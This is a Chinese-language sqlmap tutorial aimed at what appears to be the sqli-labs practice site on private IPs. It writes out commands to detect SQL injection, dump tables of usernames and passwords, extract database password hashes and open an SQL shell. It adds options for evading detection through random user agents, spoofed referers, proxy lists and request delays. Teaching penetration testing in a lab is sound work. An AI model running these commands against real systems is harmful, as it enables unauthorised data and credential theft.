sqlmap使用方法
简单使用
查询是否存在注入:
sqlmap -u http://192.168.1.100/Less-1/?id=1
注:注入点后面的参数大于等于2个时,url需要加双引号
两个提示,提示1:可能存在注入,数据库可能是Mysql;提示2:可能存在XSS
直接回车
反馈回来的信息
查询https网站
sqlmap -u https://192.168.1.100/Less-1/?id=1 --force-ssl
查询当前用户下的所有数据库
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbs
查询数据库中的表名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security --tables
查询表中的字段名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users --columns
查询字段内容
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users -C password,username --dump
网站的用户名和密码全都明文显示出来了
查询数据库中的所有用户
sqlmap -u http://192.168.1.100/Less-1/?id=1 --users
查询数据库用户密码
sqlmap -u http://192.168.1.100/Less-1/?id=1 --passwords
密码的hash值出来了,解密后就可以获得到密码
简单的密码直接可以用sqlmap算出来,不过计算的会比较慢
sqlmap 参数
-r 从文件中载入HTTP请求
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
vim 1.txt
GET /Less-1/?id=1 HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r 1.txt
-v 输出信息详细级别:0-6
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
- 只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
- 同时显示普通信息[INFO]和警告信息[WARNING];
- 同时显示调试信息[DEBUG];
- 同时显示注入使用的攻击荷载;
- 同时显示HTTP请求;
- 同时显示HTTP响应头;
- 同时显示HTTP响应体。
-m 从文本中获取多个目标扫描
vim 1.txt
http://192.168.0.104/Less-1/?id=1
http://192.168.0.104/Less-1/?id=2
http://192.168.0.104/Less-1/?id=3
http://192.168.0.104/Less-1/?id=4
http://192.168.0.104/Less-1/?id=5
sqlmap -m 1.txt
–level 设置探测等级
不加level参数时,默认的探测等级是1,会测试get和post数据
等级2会比等级1多测试cookie
等级3会比等级2多测试 UA和referer
等级越高测试的payload越多,耗时越久
具体每个等级都有哪些payload可在payloads.xml中查看
kali中payloads.xml的默认位置是 /usr/share/golismero/tools/sqlmap/xml/payloads.xml
–is-dba 查询当前数据库的账户是否为管理员账户
sqlmap -u http://192.168.1.100/Less-1/?id=1 --is-dba
–sql-shell 运行自定义sql语句
sqlmap -u http://192.168.1.100/Less-1/?id=1 --sql-shell
现在就可以输入自定义的sql语句来执行了
–random-agent 设置一个随机的UA
sqlmap默认的UA是 sqlmap/1.2.7#stable (http://sqlmap.org)
要是我们想设置一个随机的UA,可使用该参数
sqlmap -u http://192.168.1.100/Less-1/?id=1 --random-agent
–referer 设置指定的refer
有的页面会判断访问的来源,所以有时候我们需要指定的refer
sqlmap -u http://192.168.1.100/Less-1/?id=1 --referer http://www.baidu.com
–proxy 使用代理连接
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy http://192.168.0.104:1080
–proxy-file 使用文件中的代理地址连接
vim 1.txt
192.168.0.101:1080
192.168.0.102:1080
192.168.0.103:1080
192.168.0.104:1080
192.168.0.105:1080
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy-file 1.txt
–force-ssl 强制使用SSL/HTTPS
–delay 设置延时
每个HTTP请求之间的延迟(秒),防止因为访问过于频繁被网站防火墙拦截
sqlmap -u http://192.168.1.100/Less-1/?id=1 --delay 5
–safe-url,–safe-freq 设置安全链接
–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-url http://192.168.1.100
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-freq http://192.168.1.100
–dbms 指定数据库
在知道目标所使用的数据库的情况下,可以使用 --dbms 来指定数据库
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbms=mysql
-p 设置测试特定测试
要是目标链接有多个参数,可以用 -p 来指定只测试特定的参数
sqlmap -u http://192.168.1.100/Less-1/?id=1 -p id